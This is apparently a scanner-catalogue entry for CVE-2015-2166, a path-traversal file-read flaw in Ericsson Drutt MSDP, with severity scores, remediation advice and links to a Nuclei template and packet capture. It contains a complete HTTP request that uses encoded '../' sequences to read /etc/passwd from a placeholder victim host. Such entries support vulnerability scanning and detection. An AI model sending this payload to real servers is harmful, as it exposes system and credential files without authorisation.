| Title | Ericsson Drutt MSDP - Local File Inclusion |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure. |
| Remediation | Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in the Ericsson Drutt MSDP application. |
| CVSS Score | 5 |
| EPSS Score | 0.73601 |
| CVE ID | CVE-2015-2166 |
| CWE ID | CWE-22 |
| Tags | cve2015 cve lfi ericsson edb packetstorm vuln |
Ericsson Drutt Mobile Service Delivery Platform (MSDP) 4, 5, and 6 allows remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the default URI in the Instance Monitor.
GET /..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.4 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-2166.yaml
🦈 Packet Capture: ⬇️ Download cve-2015-2166.pcap
N/AN/A